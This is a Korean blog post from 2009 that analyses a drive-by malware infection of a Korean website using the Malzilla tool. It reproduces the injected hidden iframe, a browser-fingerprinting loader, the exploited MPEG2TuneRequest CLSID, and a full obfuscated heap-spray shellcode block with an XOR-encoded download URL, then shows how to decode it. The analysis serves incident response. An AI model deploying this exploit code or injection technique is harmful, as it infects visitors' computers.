Malzilla를 이용한 악성 스크립트 분석

제 목 : Malzilla를 이용한 악성 스크립트 분석
작성자 : ByJJoon
작성일 : 2009. 8. 1

  1. 서론
    최근 국내 웹페이지들이 주말을 기점으로 대대적으로 악성코드가 삽입되는 사례가 많이 발견되고 있습니다. 이러한 악성코드가 삽입된 웹페이지 분석 시 좀 더 빠르고 심도있게 분석하여 최종 다운로드 URL을 빨리 파악하여 악성코드를 다운로드 받아 빠르게 대응하고자 해당 문서를 작성 합니다.

  2. 들어가기에 앞서…
    이번 문서에서 사용하게 될 프로그램은 Malzilla라는 프로그램 입니다. 다양한 기능이 내장된 프로그램으로 악성코드를 분석하는데 특화된 프로그램이라 할 수 있겠습니다.

다운로드 : http://malzilla.sourceforge.net/downloads.html

이 프로그램은 특정 URL을 입력 후 웹페이지에 접속하지 않고도 해당 페이지의 소스를 확인할 수 있을뿐만 아니라 해당 소스내에 삽입된 링크 및 Iframe을 자동으로 파싱하여 보여주기도 합니다. 그 외 기타 다양한 디코더들도 내장되어 있으며 악성스크립트 분석에 효과적인 툴입니다.

  1. 분석을 시작하자!
    이번 문서에서 분석할 URL은 현재는 해당 웹페이지에 악성코드가 제거되었지만 몇시간전까지만 해도 악성코드가 삽입되었던 웹페이지의 사례를 바탕으로 분석해 보도록 하겠습니다.
    몇시간 전 hxxp://www.kbsn.co.kr/Lib/Script/common.js 주소에 아래와 같은 Iframe이 삽입되어 있었습니다.

    <IFrame Height=0 Width=0 Src=hxxp://drim2u.co.kr/index.htm>

위 Iframe에 의해 연결되는 주소는 다시 hxxp://drim2u.co.kr/uuvc.jpg로 연결되어 있었습니다. 이러한 과정을 알아보기 위해서는 다양한 방법이 있지만 대부분 해당 웹페이지 파일을 wget으로 다운로드 하여 메모장으로 열어 Iframe을 찾는 방법을 사용할 것으로 생각됩니다.

하지만 Malzilla를 사용하면 간단하게 아래 그림처럼 URL 박스에 주소를 입력 후 GET 버튼만 누르게 되면 상단에 웹페이지 소스가 출력 됩니다.

그리고 상단에 Links Parser 탭으로 이동하면 아래 그림과 같이 해당 웹페이지 소스에 있는 링크 및 Iframe 정보를 따로 확인할 수 있는 기능도 있습니다.

이제 해당 페이지를 한번 분석해 보도록 하겠습니다. 먼저 hxxp://drim2u.co.kr/uuvc.jpg 내용을 살펴보니 확장자는 이미지 파일이였지만 놀랍게도 해당 내용은 웹페이지 소스 파일이였습니다. 해당 파일에서 go1~4.jpg 파일 역시 웹페이지 소스 파일로 예상이 되어 파일들을 하나하나 분석하여 보도록 하겠습니다.

<html>
<script>
nav=navigator.userAgent.toLowerCase();
var ytcccc='windows nt 5.1';
wxp=((nav.indexOf(ytcccc)!=-1)||(nav.indexOf('windows xp')!=-1));
if(!wxp||navigator.userAgent.toLowerCase().indexOf("\x6D"+"\x73"+"\x69\x65 \x36")==-1) location.replace("about:blank");
</script>
<script language="JavaScript">
document.writeln("<html> ");
document.writeln("<body> ");
document.writeln("<div id=\"DivID\"> ");
document.writeln("<script src=\'go1.jpg\'><\/script>  ");
document.writeln("<script src=\'go.jpg\'><\/script> ");
document.writeln("<script src=\'go2.jpg\'><\/script>  ");
document.writeln("<script src=\'go4.jpg\'><\/script>  ");
document.writeln("<script src=\'go3.jpg\'><\/script>  ");
document.writeln("<\/body> ");
document.writeln("<\/html>");
</script>
</html>

먼저 go3.jpg 파일을 열어보면 아래와 같습니다. Classid가 눈에 들어오므로 해당 클래스아이디 값으로 구글링을 하여 보도록 하겠습니다.

var XXK='CF';
myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46'+XXK;

해당 CLSID값은 마이크로소프트 MPEG2TuneRequest 제로데이 취약점 관련 CLSID 였습니다. 즉 해당 취약점을 이용하는 악성코드 입니다. 그럼 다시 어떤 역활을 하는지 알아보기 위해 go1.jpg 파일을 확인해 보겠습니다.

var XXXxxyt='0';
var xxyytt='%';
var xxttyy='u';
var ttyyxx=xxyytt+xxttyy;
var ytaau='9';
var UUse=ttyyxx+ytaau+'0'+'9'+'0'+ttyyxx+'9'+'0'+'9'+XXXxxyt;
var YTavp='%u'+'BDBD'+'%u'+'BDBD'+'%u'+'BDBD'+'%u'+'BDBD'+'%u'+'BDBD'+'%u'+'BDBD'+'%u'+'BDBD'+'%u'+'BDBD'+'%u'+'EAEA';
var YTavp1='%u5858%u5858%u10EB%u4B5B%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%u05EB%uEBE8%uFFFF';
var ytshell=unescape(UUse+YTavp1+'%u'+'54FF%uBEA3%uBDBD%uD9E2%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1'+'%uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%u2DBD%u455F%u8ED5%uBD8F%u'+'D5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%uBDBC%u36BD%uD755%uE4B8'+'%u2355%uBDBF%u5FBD%uD544%uD3D2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u'+'7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355'+'%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8ED1%uBD8F%u'+'CED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4'+'%uBFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%u'+'BDD7%uA7D7%uD7EE%u42BD%uE1EB%u7D8E%u3DFD%uBE81%uC8BD%u7A44'+'%uBEB9%uDCE1%uD893%uF97A%uB9BE%uD8C5%uBDBD%u748E%uECEC%uEAEE%u'+'8EEC%u367D%uE5FB%u9F55%uBDBC%u3EBD%uBD45%u1E54%uBDBD%u2DBD'+'%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5%uBDBD%uEE7D%uFB36%u5599%u'+'BCBC%uBDBD%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%uD7DD'+'%uD7BD%uD7BD%uD7BD%uD7B9%uEDBD%uEB42%uD791%uD7BD%uD7BD%uD5BD%u'+'BDA2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909'+'%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u'+'7ABD%uCDFB%uBDBD%uBDBD%uFB7A%uBDC9%uBDBD%uD7BD%uD7BD%uD7BD'+'%u36BD%uDDFB%u42ED%u85EB%u3B36%uBD3D%uBDBD%uBDD7%uF330%uECC9%u'+'CB42%uEDCD%uCB42%u42DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5'+'%uFDEB%u4636%u7D8E%u668E%u513C%uBFBD%uBDBD%u7136%u453E%uC0E9%u'+'34B5%uBCA1%u7D3E%u56B9%u364E%u3671%u3E64%uAD7E%u7D8E%uECED'+'%uEDEE%uEDED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%uAD55%uBDBC%'+'u55BD%uBDD8%uBDBD%uDED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB'+'%u9955%uBDBD%u34BD%u81FB%u1CD9%uBDB9%uBDBD%u1D30%u42DD%u4242%'+'uD8D7%uCB42%u3681%uADFB%uB555%uBDBD%u8EBD%uEE66%uEEEE%u42EE'+'%u3D6D%u5585%u853D%uC854%u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u'+'36E8%u3051%uB8FD%u5D42%u1B55%uBDBD%u7EBD%u1D55%uBDBD%u05BD'+'%uBCAC%u3DB9%uB17F%u55BD%uBD2E%uBDBD%u513C%uBCBD%uBDBD%u4136%'+'u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5'+'%u2AD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A84%uA9FA%'+'uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uFA7A'+'%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u'+'36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8ED5%uBD8F%uD5BD'+'%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88%u'+'BDBD%u445F%u428E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642'+'%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7E%u6136%uD7EE%uD5FD%u'+'ADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8'+'%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%u'+'B266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8'+'%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%u'+'E316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5'+'%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%u'+'A376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230'+'%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B'+'%u4627%uA8EE'+'%ud5db%uc9c9%u87cd%u9292%ucaca%u93ca%ud3d4%ud2c9%ud3ca%ude93%u93d2%ucfd6%uce92%u92df%ue9e9%ud893%ud8c5%uBDBD%uBDBD'+YTavp);
var headersize=20;
var omybro=unescape(UUse);

무언가 암호화 되어 있는 쉘코드로 보이는 코드가 보입니다. 해당 내용을 자세히 분석해 보도록 하겠습니다. 먼저 코드에서 쉘코드로 보이는 부분을 따로 추출하여 [ + ] [ ‘ ] 기호를 제외합니다. 제외하여 나온 내용은 같습니다.

%u54FF%uBEA3%uBDBD%uD9E2%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4AC%u0355%uBDBF%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%uB1FB%u0355%uBDBC%u36BD%uD755%uE4B8%u2355%uBDBF%u5FBD%uD544%uD3D2%uBDBD%uC8D5%uD1CF%uE9D0%uAB42%u7D38%uAEC8%uD2D5%uBDD3%uD5BD%uCFC8%uD0D1%u36E9%uB1FB%u3355%uBDBC%u36BD%uD755%uE4BC%uD355%uBDBF%u5FBD%uD544%u8ED1%uBD8F%uCED5%uD8D5%uE9D1%uFB36%u55B1%uBCD2%uBDBD%u5536%uBCD7%u55E4%uBFF2%uBDBD%u445F%u513C%uBCBD%uBDBD%u6136%u7E3C%uBD3D%uBDBD%uBDD7%uA7D7%uD7EE%u42BD%uE1EB%u7D8E%u3DFD%uBE81%uC8BD%u7A44%uBEB9%uDCE1%uD893%uF97A%uB9BE%uD8C5%uBDBD%u748E%uECEC%uEAEE%u8EEC%u367D%uE5FB%u9F55%uBDBC%u3EBD%uBD45%u1E54%uBDBD%u2DBD%uBDD7%uBDD7%uBED7%uBDD7%uBFD7%uBDD5%uBDBD%uEE7D%uFB36%u5599%uBCBC%uBDBD%uFB34%uD7DD%uEDBD%uEB42%u3495%uD9FB%uFB36%uD7DD%uD7BD%uD7BD%uD7BD%uD7B9%uEDBD%uEB42%uD791%uD7BD%uD7BD%uD5BD%uBDA2%uBDB2%u42ED%u81EB%uFB34%u36C5%uD9F3%uC13D%u42B5%uC909%u3DB1%uB5C1%uBD42%uB8C9%uC93D%u42B5%u5F09%u3456%u3D3B%uBDBD%u7ABD%uCDFB%uBDBD%uBDBD%uFB7A%uBDC9%uBDBD%uD7BD%uD7BD%uD7BD%u36BD%uDDFB%u42ED%u85EB%u3B36%uBD3D%uBDBD%uBDD7%uF330%uECC9%uCB42%uEDCD%uCB42%u42DD%u8DEB%uCB42%u42DD%u89EB%uCB42%u42C5%uFDEB%u4636%u7D8E%u668E%u513C%uBFBD%uBDBD%u7136%u453E%uC0E9%u34B5%uBCA1%u7D3E%u56B9%u364E%u3671%u3E64%uAD7E%u7D8E%uECED%uEDEE%uEDED%uEDED%uEAED%uEDED%uEB42%u36B5%uE9C3%uAD55%uBDBC%u55BD%uBDD8%uBDBD%uDED5%uCACB%uD5BD%uD5CE%uD2D9%u36E9%uB1FB%u9955%uBDBD%u34BD%u81FB%u1CD9%uBDB9%uBDBD%u1D30%u42DD%u4242%uD8D7%uCB42%u3681%uADFB%uB555%uBDBD%u8EBD%uEE66%uEEEE%u42EE%u3D6D%u5585%u853D%uC854%u3CAC%uB8C5%u2D2D%u2D2D%uB5C9%u4236%u36E8%u3051%uB8FD%u5D42%u1B55%uBDBD%u7EBD%u1D55%uBDBD%u05BD%uBCAC%u3DB9%uB17F%u55BD%uBD2E%uBDBD%u513C%uBCBD%uBDBD%u4136%u7A3E%u7AB9%u8FBA%u2CC9%u7AB1%uB9FA%u34DE%uF26C%uFA7A%u1DB5%u2AD8%u7A76%uB1FA%uFDEC%uC207%uFA7A%u83AD%u0BA0%u7A84%uA9FA%uD405%uA669%uFA7A%u03A5%uDBC2%u7A1D%uA1FA%u1441%u108A%uFA7A%u259D%uADB7%uD945%u8D1C%uBDBD%u36BD%uB1FD%uCD36%u10A1%uD536%u36B5%uD74A%uE4B9%uE955%uBDBD%u2DBD%u455F%u8ED5%uBD8F%uD5BD%uCEE8%uCFD8%u36E9%u55BB%u42E8%u4242%u5536%uB8D7%u55E4%uBD88%uBDBD%u445F%u428E%u42EA%uB9EB%uBF56%u7EE5%u4455%u4242%uE642%uBA7B%u3405%uBCE2%u7ADB%uB8FA%u5D42%uEE7E%u6136%uD7EE%uD5FD%uADBD%uBDBD%u36EA%u9DFB%uA555%u4242%uE542%uEC7E%u36EB%u81C8%uC936%uC593%u48BE%u36EB%u9DCB%u48BE%u748E%uFCF4%uBE10%u8E78%uB266%uAD03%u6B87%uB5C9%u767C%uBEBA%uFD67%u4C56%uA286%u5AC8%u36E3%u99E3%u60BE%u36DB%uF6B1%uE336%uBEA1%u3660%u36B9%u78BE%uE316%u7EE4%u6055%u4241%u0F42%u5F4F%u8449%uC05F%u673E%uC6F5%u8F80%u2CC9%u38B1%u1262%uDE06%u6C34%uECF2%u07FD%u1DC2%u2AD8%uA376%uD919%u2E52%u598F%u3329%uB7AE%u7F11%uF6A4%u79BC%uA230%uEAC9%uB0DB%uFE42%u1103%uC066%u184D%uEF27%u1A43%u8367%u0BA0%u0584%u69D4%u03A6%uDBC2%u411D%u8A14%u2510%uADB7%u3D45%u126B%u4627%uA8EE%ud5db%uc9c9%u87cd%u9292%ucaca%u93ca%ud3d4%ud2c9%ud3ca%ude93%u93d2%ucfd6%uce92%u92df%ue9e9%ud893%ud8c5%uBDBD%uBDBD

이제 Malzilla를 실행시킵니다. Malzilla에는 다양한 디코더들이 존재합니다. 그 중 해당 내용을 [US Ascii to Hex] 기능을 사용하여 Hex 코드로 변환을 합니다.

변환이 되면 아래 그림과 같이 변환된 코드가 나타나게 됩니다. 그럼 이제 해당 코드들을 복사 합니다. 복사 한 후 Hex view 탭으로 이동합니다.

Hex view탭으로 이동하였으면 마우스 우클릭 후 좌측 메뉴처럼 복사한 Hex 값을 붙여넣기 합니다.

붙여넣게 되면 아래 그림과 같이 코드들이 붙여진것을 보실 수 있습니다. 이제 해당 쉘코드에서 다운로드 하는 최종 URL 주소를 확인해 보도록 하겠습니다.

요즘 대부분의 악성코드들은 간단하게 최종 다운로드 URL을 간단한 XOR 로 암호화 합니다 Malzilla에서는 이런 XOR 키를 자동으로 찾아주는 기능이 있는데 이 기능을 이용하여 찾아보도록 하겠습니다.

먼저 찾고자 하는 문자열 중 일부럴 Strings to find 메뉴에 입력합니다. 여기서는 “http” 라고 입력하였습니다. 그리고 [Find] 버튼을 누릅니다.

잠시 후 메시지 박스가 뜨고 [OK] 버튼을 누르게 되면 아래 Key 메뉴에 자동으로 찾은 키가 아래 입력되게 됩니다.

여기서 자동으로 찾은 키값은 “bd” 였습니다. 이제 이 키값을 적용시켜 보도록 하겠습니다. [Apply XOR] 버튼을 눌러 보도록 하겠습니다. 누르게 되면 헥사코드 우측 텍스트란에 우리가 찾고자 하는 최종 URL이 나타난걸 확인하실 수 있습니다.

해당 URL이 웹페이지에 삽입된 스크립트가 사용자들의 시스템에 설치하고자 하는 파일이므로 우리는 이 파일을 다운로드 하여 대응하면 될 것입니다!

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다